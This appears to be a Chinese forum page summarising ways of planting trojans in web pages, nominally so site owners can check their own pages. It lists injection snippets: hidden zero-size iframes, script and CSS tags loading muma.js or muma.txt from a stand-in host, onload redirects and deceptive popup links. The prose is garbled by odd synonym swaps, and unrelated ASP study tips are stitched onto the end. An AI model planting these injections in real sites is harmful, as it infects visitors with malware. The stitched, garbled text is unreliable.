ASP网页设计asp挂马体例年夜总结
源代码保护方面其实现在考虑得没那么多了..NET也可以反编译.ASP写得复杂的话别人能看得懂的话.他也有能力自己写了.这方面担心的倒不太多.纵观现在网上可以下载的那些所谓BBS还有什么网站等等的源代码这篇文章指在告知人人好人常常利用的网页挂马体例,从而能够对本人的网页举行提防,只需检测这些常常被用于挂马的中央,很简单找到木马的地点。这篇文章指在告知人人好人常常利用的网页挂马体例,从而能够对本人的网页举行提防,只需检测这些常常被用于挂马的中央,很简单找到木马的地点。一:框架挂马
<iframesrc=地点width=0height=0></iframe>
个中“地点”处能够输出歹意网站链接等
二:js文件挂马
只需是JS文件,都能够经由过程被歹意修正从而被挂上歹意代码,一样平常被全站援用的JS代码最简单被挂木马,检测我们能够检察JS代码的右边或下边,好人很喜好将歹意代码与一般代码间用良多空格或回车来举行埋没,以是要多看看JS代码页面有无被存心拉长等。
三:js变形加密
<SCRIPTlanguage="JScript.Encode"src=http://www.xxx.com/muma.txt></script>
muma.txt可改成恣意后缀
四:body挂马
<bodyonload="window.location=地点;"></body>
五:潜伏挂马
top.document.body.innerHTML=top.document.body.innerHTML+
<iframesrc="http://www.xxx.com/muma.htm/"></iframe>;
六:css中挂马
body{
background-image:url(javascript:document.write("<scriptsrc=http://www.XXX.net/muma.js></script>"))}
这类体例对照狠,也对照难发明。
七:JAJA挂马
<SCRIPTlanguage=javascript>
window.open("地点","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
</script>
八:图片假装
<html>
<iframesrc="网马地点"height=0width=0></iframe>
<framesrc="网马地点"frameborder="no"scrolling="no"noresizemarginwidth="0"margingheight="0">
</frameset>
十:初级棍骗
<ahref="http://www.ckuyun.com(利诱毗连地点,显现这个地点指向木马地点)"onMouseOver="www_163_com();returntrue;">页面要显现的内容</a>
<SCRIPTLanguage="JavaScript">
functionwww_163_com()
{
varurl="网马地点";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
ASP一般认为只能运行在IIS上,正如前面所提到的,这并不是十分正确,事实上,ASP也能运行在Apache上。ApacheASP可在任意Apache服务器上运行有限的ASP功能,所需做的,只需打开mod_perl。 从事这个行业,那么你可以学ASP语言,简单快速上手,熟练dreamweav排版,写asp代码,熟练photoshop处理图片,打好基础就行了 以HTML语言整合(HTML负责界面上,ASP则负责功能上)形成一个B/S(浏览器/服务器)模式的网页程序。 没有坚实的理论做基础,那么我们连踏入社会第一步的资本都没有,特别对于计算机专业的学生学好专业知识是置关重要的。在这里我侧重讲一下如何学习ASP,从平时的学习过程中。 Application:这个存储服务端的数据,如果不清除,会直到web应用程序结束才清除(例如重启站点) 你可以通过继承已有的对象最大限度保护你以前的投资。并且C#和C++、Java一样提供了完善的调试/纠错体系。 在平时的学习过程中要注意现学现用,注重运用,在掌握了一定的基础知识后,我们可以尝试做一些网页,也许在开始的时候我们可能会遇到很多问题,比如说如何很好的构建基本框架。 我认为比较好的方法是找一些比较经典的例子,每个例子比较集中一种编程思想而设计的。 如何更好的使自己的东西看上去很不错等等。其实这些都不是问题的实质,我们可以在实践中不断提升自己,不断充实自己。 哪些内置对象是可以跳过的,或者哪些属性和方法是用不到的? 以上是语言本身的弱点,在功能方面ASP同样存在问题,第一是功能太弱,一些底层操作只能通过组件来完成,在这点上是远远比不上PHP/JSP,其次就是缺乏完善的纠错/调试功能,这点上ASP/PHP/JSP差不多。
页:
[1]